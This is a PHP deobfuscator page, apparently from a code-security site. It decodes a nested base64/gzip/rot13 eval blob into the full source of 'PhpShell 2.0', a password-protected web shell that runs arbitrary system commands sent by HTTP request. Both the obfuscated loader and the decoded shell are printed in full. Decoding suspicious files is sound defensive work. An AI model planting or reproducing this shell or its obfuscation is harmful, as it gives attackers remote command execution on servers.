Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUzHrqvqkn6ao3ttUwarVOScM5MWOefM01..

Decoded Output download

<?php // -*- coding: utf-8 -*-
$passwd = array('dreatica' => 'php-shell');
$aliases = array('ls' => 'ls -CvhF', 'll' => 'ls -lvhF');
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
    header('WWW-Authenticate: Basic realm="PhpShell 2.0"');
    header('HTTP/1.0 401 Unauthorized');
    $authenticated = false;
} else {
    $authenticated = true;
    session_start();
    if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
        $_SESSION['cwd'] = getcwd();
        $_SESSION['history'] = array();
        $_SESSION['output'] = '';
    }
    if (!empty($_REQUEST['command'])) {
        if (get_magic_quotes_gpc()) {
            $_REQUEST['command'] = stripslashes($_REQUEST['command']);
        }
        if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) unset($_SESSION['history'][$i]);
        array_unshift($_SESSION['history'], $_REQUEST['command']);
        $_SESSION['output'].= '$ ' . $_REQUEST['command'] . "
";
        if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
            $_SESSION['cwd'] = dirname(__FILE__);
        } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
            if ($regs[1][0] == '/') {
                $new_dir = $regs[1];
            } else {
                $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
            }
            while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir);
            while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir);
            while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
            if ($new_dir == '') $new_dir = '/';
            if (@chdir($new_dir)) {
                $_SESSION['cwd'] = $new_dir;
            } else {
                $_SESSION['output'].= "cd: could not change to: $new_dir
";
            }
        } else {
            chdir($_SESSION['cwd']);
            $length = strcspn($_REQUEST['command'], " 	");
            $token = substr($_REQUEST['command'], 0, $length);
            if (isset($aliases[$token])) $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
            $p = proc_open($_REQUEST['command'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!feof($io[1])) {
                $_SESSION['output'].= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
            }
            while (!feof($io[2])) {
                $_SESSION['output'].= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
            }
            fclose($io[1]);
            fclose($io[2]);
            proc_close($p);
        }
    }
    if (empty($_SESSION['history'])) {
        $js_command_hist = '""';
    } else {
        $escaped = array_map('addslashes', $_SESSION['history']);
        $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
    }
}
header('Content-Type: text/html; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8"?>' . "
";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
  <title>PhpShell 2.0</title>
<script type="text/javascript" language="JavaScript">
  var current_line = 0;
  var command_hist = new Array(<?php echo $js_command_hist ?>);
  var last = 0;

  function key(e) {
    if (!e) var e = window.event;

    if (e.keyCode == 38 && current_line < command_hist.length-1) {
      command_hist[current_line] = document.shell.command.value;
      current_line++;
      document.shell.command.value = command_hist[current_line];
    }

    if (e.keyCode == 40 && current_line > 0) {
      command_hist[current_line] = document.shell.command.value;
      current_line--;
      document.shell.command.value = command_hist[current_line];
    }

  }

function init() {
  document.shell.setAttribute("autocomplete", "off");
  document.shell.output.scrollTop = document.shell.output.scrollHeight;
  document.shell.command.focus();
}

  </script>
</head>

<body onload="init()">

<h1>PhpShell 2.0</h1>

<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can <a
href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p>

<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having
problems with installing PhpShell.</p>

</body>
</html>

<?php // ' <-- fix syntax highlight in Emacs
    exit;
}
error_reporting(E_ALL);
if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24;
?>

<p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p>

<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>">
<?php
$lines = substr_count($_SESSION['output'], "
");
$padding = str_repeat("
", max(0, $_REQUEST['rows'] + 1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
<</textarea>
</div><br>
<p class="prompt">
  $&nbsp;<input class="prompt" name="command" type="text"
                onkeyup="key(event)" size="78" tabindex="1">
</p>
<p>
  <input type="submit" value="Execute Command" />
  <input type="submit" name="reset" value="Reset" />
  Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
</p>
</form>
</body>
</html>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUzHrqvqkn6ao3ttUwarVOScM5MWOefM01/Yu5csL8BD/lDVF8pYPdz/Yf0Rr/dDLv+OULFgyP/Ny5TMy7/50Ef5/f8n/5HV1TWz1rMv5h/IQeHa0qr3QEu2gtg5ghgtFQnCBpZ/79V1fjLXOG+/DzfWVJITW0TqwoWtoN9CH5Yfn2l+j8SibN9IyPqFxYC/h7/fvO5liNXCZCL/QDoR5SgLPRYwN1se11b+UnQRhE4Qwj9IA+XWQwX8lOuoa1riMUaB6jnxJhR+mEj+lAQj71o/r36RC2pIMtS1oB7sd1GPvRwFpE+6wZSJt18OqIFgcplplQyB9b4Yaz1jyPf1nE0izlc3uhmYEpO2jkg8sFx2802eYRV39ufDq2fVMOao7SHdS+vDLDXR7VJ9G4dd0HyWGC7YqNY7H00qYgXzCJVr5zHkZMqn4EMoNhb3Lm5d6oPoOJEirDtZjKb+0mMD3qdhRMzMzIrew6J00Foj8foaf6I0TvcXdf/FjErOHQJe1i4DYSd5zS15sLHAlaxcCXKzzf047gXgRtgsgGK7myS7ZXnU05FJoxoEw7PbNXpNSTpuVa8g/s5zHBgyNS3L7CHmo1uG0YJTJL4iLpk3fOsCuutHFM4iimr580BXIZm3oq5D7zDfF5uM5e/SKOZOvfs9SnDoXQHbo6qjPYqVLBueRXcRjipUQ98PKta0beAkf/UoUy1mvI/4AwZQA2eA8+a+Qqk7x5mVqIhusVXqLV1nJ+wYsSa0oww+Lk8ejce03YqjKyatHyotCVXSG/oqpDYf7/INVsXVVpJcbDPF+bMLN1K3jfyZThcTP228GXKFsdWvwePPJHlznu/LUI9GqRpdSrjaZpCktKdzSlSw93eyYi6nXmH4vf2oNmmYHW0tQw8fTE2pMWFkwHWglNg+gWPqkhDHHSDz8TM+nDf6pjtd+bQNz0ALFx6MPcHJuxS64dAYGqTpQUztsZgng5/ByIULc2SjzucRmuzeDCYi7Nyics0QHmvFFD0SrSj8HovYPApO6ZGxg6sZjhgc9MbkwHriYBgabr0s1OyGO3xsDAyahnRsP2GtiQ+JbxUx37qKWb33gmo5dLggLIgv0kyWEwPBovB+YhbaUoPBO2Cda35H/QsDun1mX27+3WzI7ecf0Z5Vvvw66pqMC7RXeXE5J2kweabPRwmACN+J+qjg6qw3QzKjZZCUrPiGAjLUXEdxeiI+gD5iS0ozXYShKyuYzvpkjaTztTVIPxyqizwIQ4Vb/TvJ/PTultYCokRfLdG6SAQmuyzgJCSTSdretC9Le6CFRNAkT7qyKO4yGLjZDEoCxh/9ZX01TdDuZ/wCu679J4dcTs9vbLVQe0ZQs9Lw61stfFBZYsC+IsZSoCCfZR+wYPyF3JtibfXuGUmG2V35Xxbr1rEtOALJkx5MYWL6eIU1hPzM7OV1j5ZCwY/vDTw9jwB87zflKyGaEaymbfjyKsUPqudPh6WAcl8D3xl/8hc24o+kRjUSYI4tBXy1XCsSLjsUDvVpeBIFBMX66dd7m1sFGN+Etq30ngip4mJzZQUZNM4M9HNnNTq+t4qLnQCMB+5bWcZxgPkfkwqGqotlaeyoENNb3qupkr5xoSKPPdjQ806TWywsGEcUlauABRB0hvoUEt3tseU3P+QpBYdnHBc+j1W3jC4pPqYbwCFuikUHyCuD1NBAiq0sJTZtD7/z9CBE6ayDNwGEZPM7CbX9W1ExgHQOMXd57pbkK8wh4qJy9QitaDZAELX3HtkohTPRa6LbNhjdzTJJvx10waqwLw2KIreNxAA1g6angWA1IwQ17Paeal6O8G7JMFz5JcwVLKO7sCSlVvHJLLEX0YSSrfuBOWql7BPu3PfWdJ0AuN9q6ve5iMOLwm2T0xYWfgNsOmk8HmNHFsDxhGuD9jO4y+vas3hVGbdgmUAQXBxhpEntSW422Q8NrvIZwu9gKZm/hbT8NH1Z1Gq++rDslKyBSAqtVkLVOtOFeH1COYkqqWghMNc2F/L7HpLRF9fPHr9ZlrZChw3YmLo3itVcq9UtZQ/lM+K0lqi2/GyTj+s7JLc2lR7509Q9R6hR8VBjUFm7WsCqu6NQr8pI2wrWH8ZdAwuLteGWpW+KaPaNSSdmVwfzd+SjflzUO38U2cv3IcxsGS+ivYxMt/CIcaHFpBQAJY+TXcJ/5XfHo6PEVoH/JhbR+DGs/alviwZh37CnjkRigtkAvNV0EgXiJTmCw7MMELjcuVPpt7VirvPU4SUEPtyahXaumHKpTzI7zqWK371qQ0zLBwSN0f7DTVMCRZi8M1ZvM6zqeC3GwohpXwa8c/H+yJMNtTxCGB/4GyxAs62ryXgnFhOY6zlI88OemWJDnfSwAMGcwxd1Y/8dg41bDnJ5x8zUiSY4x1dfrE60TVZbO9amYmFDJyw/LLv+Tm/XwJMXU+wZpw8Id752pikasCd3mvzHkRc9EJzyeRGQ3fEoilgbZZt6RueAG5LD22XdZOAlsadKci+Wwomiz/NvJvxZCTyaYW8dGdwSP4A+qzYkcPVTy8Rur/pLtZdr8RJKzGcguT5pthqrQXg0g+tV/U4rVt1dpm9hFe6uKmVD4HIFEPqGmJgbXcziV9rJC64J4tJKgyiK1igrLgUAom9ddnyYgPcrsPmXYsPGNROmqxlWzApD0JCgtH57uu1hMXdY0tjiTVl4KKdrQ3U0643f7NG08Z9YSuA6yjIWIGc4vmov5y8P8W7Bfr8hZBCSThR3HK5Lokn5tpV6C+8YpoPGj7jHQ/NCeECTzcnhZz6YyhaEuSbf8gvgB/JMgXpd6FXi7410N8WopO/VOkCAog7zAVz9hkiCqhaHTJrhXwAGQqpirEm5eIvJU60ycFKABB6tnLJyphKklp9yPkwMPbFT9MIwepe4tC98gD7dUcXBORd5c2O7G5z0l4Yz9OY1RP0QJtCgeMgyWhAcpwp9stewGD/5iiv+BXn4pVwQBKdw9h2sqSnjLC2WIyO9qtP7EX9yUX6dbD7kJ+RLd6f1al7yKG9k7pb2y4vLLWRZMYF1+IG+Er3qOBxDjweHV10Afh1OVlgmvpHeL9I9zg5dL4/y9zyXEc3gnybrnuQ8fHLBLo6Htsgn7cXieceEQn+/u/uGE6rEv5HbTf98KYBJ2/se7al8MZkHZNWd0aAkzp+Yve2hICG9/4Ze3VH3yOLx2gD9N5wsTXFKpz3ML1qLAoptTMdMtarDIzlHkprSapT6NoGfVYKsJirg/XeK9FxOU3+3vha5kcsW3DEHabSpwQF3te+NYnf6hykFA7ZL71dSKP7wtEocdiEJg4/baoNvkqiGKqnUFPYfAucIYkHvMyVROnVqv438h5smm5UA+onyIujNbSk/A9SVCeOitaAM8bJV+kOJJvvtSo8MPwpqsVm/XGqv7XNlSnBUO4RgwN+zdB6V/GUunyrHw/UIA02FqWId9d7xbEY2cvNjrDu8fIKIO9FvqCa4Ni9DCCCs0BVWUqgF/cV0+vmn37T5me/gV5FbyEuf0gAH3T3V/swtur01KwgUPHBHPuCX/ujO1XKBFuRZeyFtUYi9XoMTIAv/Ia9JaOVtMlD23Ism8SxMu0uty5bTittppik7k4U5PUgWXEDXp/xm4UPaJoVOlcnXalVMx5TWJdtyDd2RahIigIElSC1rC8WAXxxq1T1/QIa0kX0oSxC7IUgEA0DLhdiVc6vKy5lhSB/AAxQN5/B802bS5cJigjPeaRZWOipUmO1GoXsmHex18aRvLlSwzHkVwypONls87m0sT6WHdijL62CQS785ZMttWqDf82Cm15D44EpO7STk43E6WkO0/AGTE5EDaosP+p70/GM1Vkmqirz6YUHQsq8eOBcPJO98UneZkom2rYF5SK92tuetBZ85HzoJ0cIlz5cd7+ve77UNLRCCbXokQNivydyxYIYinsjQp5JIIKb8FM22L/imMWS7jS3azr+PvrbBUyKmtOWnKh4KQ5XTJu5iyw/h4w8lX5l22W9NbtGfiJ7hZVCsHDG7qERUP5qW+MI7k+FGn7nRJxrr0dA84UmlLkd2FdR+taurNQl+Gfus8o+M4A9FonQACN4zgvXK9jyW0+3afvsmosS8SBKE18pYbOvP56eE7sQDZfA4cklbtv/qlsN5MkhhVzIfU87ovVzh3nfXGQ0gNvEWX8AR2rUqpOQYTrMt3IPhzYsUjuAzeARTlS12XWSg0XV1CaEYLc9Ql5my3fUTCJ/AItV4Iny2n71xhWl93q8ewPPXgujlsoruRHTIsDUqgKOvFnwdHxIC04kZTYZNNT0Kuglr3oT4uPX1HIbHwQTZS34uZoOswQBTfu6qSaC/PGEy1KEGBfVfOBYjyhC0wKyD3y0bqnVqlh1AeDSIHVS+ZHV5syND0X/IAFFITBVv2f+ckfiQQ/+9POm0s8FlBgV/+urC6RmxgkxJtB5bkypcfhS9CCWddng762TJUCQkELEK2zFJA3qGVm7eB5ToOWjA181RkzIWn4N4mzghodHtqPLgvmNu27qugQyDaXvVl3DgHWEB/NhvQoeHWLHdBF5GVPMoUC4o4cZ8ImpfcCJYrLOZEYPMvAF9/Q6akAdxi/tfH3y4Ah9/aXQnemK6XSi/+2JeOSgbSfaorERRndSbhledWrS2fGvnwRAKWsBZw43+TOfS95FUQH4H0JvY57Mgvg/KsKVHT1XSlsgkc0NN6vLPJw+dQh/1gefD00IZL5tlqOk0yQ2pk5Z8fcBkjrv3MVV45q+VD5cw+5oIbfARrnHj7TnagponMaFSuDuNsJ2ACLAL+lw0/HgeUv9nFWGPlkvNRLLzCrkbJPWo36dqWV4BXigxbt2jdk7Ppj/zRL4/47eQDBd9hXpDjjG+dTawZ4eye69fVIVD+0qzl14i+iviFU2NauUj8YV9qBNu2YOEcyIULtcBVYn/GTbL25lhI3itWPLSxrVgT7f0tSlnN8k7ETSaiuCgxrdg2J7ND+vzJoQORQnR66dAw7uPsHEWUtVtEY6lILMFdETtSi0UMpk2yCozY44hNv7U220qh3fecPVlc5ocmdK4bEFLKXtoDtsl+q51hwxGfo/DcQuhZgwUH6FiItx3lvdI5uMnW7yMohEGpXQ9AlCtltU1GiO0jjWK1Dx8CQKlAdLwmAS4eNrcdvUYyDUwbuOvv/aIf1Es59YCOqBSviLoeAdF8WIiABpUrMqw/HYamx0y/jaReQ/QKWeFNT5GiZznV4YtPuSFuEsw064ZfvFvywggosFZTGVXnXou+VUMbFXxE/cdCr7G02OKRXU7rH3haCntJIiqr8wXeHKl8T+J6MeRy+lC5q79lXQl1p659k5lszCwbu4aXfNdXy33cQ0mUGvSnPYoTTwlgohxRxuZSShOnyi+Gs+ysLqzSuYtyRjYFYvSpo5c+CffhVxi25Ldt83Yh15CKAhf/JJlCNXaYPkl9UcMiSkTgvS7+7WCmGbanRYEBABLTSnwNiN/2upxgTsToKSvbu6FBzBZnonTOS01PoRURhuYNtK0SKI6aLEaZ33VIUfkIAHpqtO/5ovAG8NbSukrmCcDV6EHKJz7lgpoJpVyNP0A/dorJ7piU4+tzqYMqHB8tkjtKRC4Y5vV9i81RZ+S2cluPe88y3IDQ+ur2lzMcQ6stPx3vIWrz91WqtqxKRRzA/ovTrRjN4R9PQLdnSQxXil/DGdxD+fX/5k1ZhaCwd5fXDc2ehacAdZyjDLM3NHc/CRcnB+lUnNv6Fy3UcLLaASO0OysrT5PqRQ7J1mBc3CyFeTU4um5xOQx66HBeAObwm+qL7Xcrap1nYu313CPREry96tS1wkw3nefShehPjjxX+KZVHMty6x4JBfnmAgB8guSkKLRSKgysWAqlmJJUwLLbRJoIHkoiCbcaHCGdqRwgCZ6yo/G8eNyo7pHCZ7psW3Rj7nA/KZvLiymK5XOIktZNc1Gp6KGPTD8bb06wphC2J1iCWAuJsZQuiBL7D8/KZNB9vHzU2cZUnvFwQJ/vRgzJFMeSmga8oq6yEdbZP0CI4lvIj+Pmx5TFvxgivBbtfPOD19CGSeM9Fl1+aX0CYMeWuNlQeiW8RbZexfZ2eCjAT6nujeclKWpSp2Gkx8ETzuq0i+benLV7HptOuuI8x+3nGF2Ej3X+c6oAkGoypcloIYNlg7lcb4Qv7wlJ/HHRZnFHmW9Uo2+Yat05zW0MKc1sZQ78dqNnFRP9yl+9a9IiQHFXFvfiKbte7IYfjY6f3E0/6xjkj6RtfmogdDzKunS9W4wZcqf1+tyFHw9DoxP56CpxPw64l+We6fvl1I8e4F2DSzqismnW4aBwsGHs5zXOum/riBUkj0r3zwAXsmNlzdOvjLEAHXuXvLO3vBDahlqGKxa4s5c9SGQQvst9PeLxoWnWvT17jL4QLNaic2OxSTUgQ7R6w7Y1WlSyrZl5mvt/BHNL3KlV+ugSLBf249w2Co+2FwYIlRdDk0nrJEhEI8vV+KVpPXxg8pAhq1BdmC6I7/HTR+F+asdUh8/mcklsHpXiTD4+rFtBzeomSQER1Rf6f2YyFKb8VZDiO38KtqoKKD9lRGQqWmfYiGg50LyGRfIvyLVIopleAab8OeH1qsUHiCkve6RAou0/wk2bEcXOuavMJpazFTrSMEUjv6RA4kkYcy83zCzGD/WrsdaDi2KnQ1QBvqJOMp0+ErSq299cOJtqhMX4PuDr4v9Z0bKs+16c18/WGu1ZAaMxqexhGaPAv5bAFk7HlO/LpN1NWIEtgULf4rFqNrXHZzz304C0cfYVQ4ByVTrxP08aW8R5rU4Op3HkfQrIZEV4usQY3fjc/5eIib7NT4r5tHOsCQRWJ5ui6yWowQbdzQQbtH4bEsbYk+3BoY++ro1kWVEu3DZWOZ4HIVzoFRIT+5w5pJ4rqdJrWldkfJls6ReBNfBHTYG1ZA4Mv0OLNG/UT6dWm3tPE0Fh0XqulrBgB12iaO4QpxuVKxRYS5/veGJNoBEaZ4KHA9EPHOwhExd00PsEuyHwXUbfkQbgrqyFQehoNWZ/a1YCc8RpRwIrrS5CE2ME+wI+DMQTjj58HF38iLq434yuf9Z8jNUIr49jGAoIG0jNvUxbvwm0XOf8yZ2uF/LkxxnMwcy2pLhMD6ChLozKOIGcNcUSvhoRSTKwzvdSaq1smgKhsTRcaeM1ihxUrSuwbP+kZVz10mF+uTnXoUt8rgEo4qiefYEX4z7ThITn8sU+bhk6LYahAZbzL/mR4dNUsG+XwLb+igx85Q8LqTxu8iOzUjC920yEbCwLj+up2hRlcQXqvc7gPCGZOrr9ofV5b3ZGtPIj1fo5z1A2UTu/jufBr+814h+3S5VfOJqU1hoSkwhS9DTY/xiqhkonKipE7aAHYl7PSVDi1DIRDLGtdPuwOrL0o0w8mxEq8HMmaPUro5MX10mgeBMv5qtopw1ZbhNeOOn87sErkzsqQ6y1RoGGXbzZC5yxBHUhYzbgoG7knbTwlNNxCzcQ/00KtMrvSiTfj2T3nK6GqihQfHGb//CZdRvX0xv8tMJbkl9ySV4SHKHn2FlKu8rnY5Pq8oRw7/+9DrpPp8kpb9Skut/YVlGM5stunHJ0c2VwogbHNSG6RT+GO4hMO36o0KeTGwqX/aSKWa/VVoatnxx+n13HeUS+8mRWCQm4gTQ1QDhuK3VQ72v9UekQ+CMD7EHk0eUirGNTXmTkvJKo40tmUFeHXmPdhP7JV5nKX7stjgmqUE1N8pwfkolf1hHeTI5QboVS0FaUEkSPjfF6E93/cOHts+/PowO493nRgKzEw6yV/0MLXv+NQcQ9YsJ6yBt5y66090k4QrVVvzq2eUUoZPS28YV0GwF5W27rDpTW2MLuNlFE3fpLWmrO9cwS0mDBMeqIckR97AxYSSyj9f4KilSKqTEVliN0HwZ7tZeHa+gtFqjtDXCwwyEIR2ph/V0W5YFY6ZqFuhZPE/RmLSfwKiyj/5EdfXrWVsdcZ47oWT4JMNhq8zfa07vbdlu28AGJZtBOQxdrRp1R1vuuvYwBmHueL4E+ksDOfxNLghD69EmJxSnBUIPZxX5Gv3Xc8JM84dWwzK0AcVLVPT4SKwsb0h7KnR2udGQpevHC2TKU03JcptzTiL/a/LwmfqDdAzG+RoIQ5YA1L4ey/aVQmDT9lqcThPQPPCa0nTZDrrQrwltgO2hs22afg9n5Lqn5fFsRk8QbdKYsFKO9G20j0MUYoS5HhSRcv53wsy6RA3wUEdz1zOoYtZYufcVBEoSpU8LzQ+od8N54e7XsyHEksNSuqKzuEgd6cxs3lvja48FXRLXedouLiattyngXC0EJoAochlO/f1Z2vcj+rcu6h6M338r3OPEP7D5n/9s//73vw==')))));
?>

Function Calls

rawurldecode 1
base64_decode 18
strrev 3
gzuncompress 4
gzinflate 11
str_rot13 11

Variables

None

Stats

MD5 c1c1f2ef70101e8296492b1997601626
Eval Count 16
Decode Time 236 ms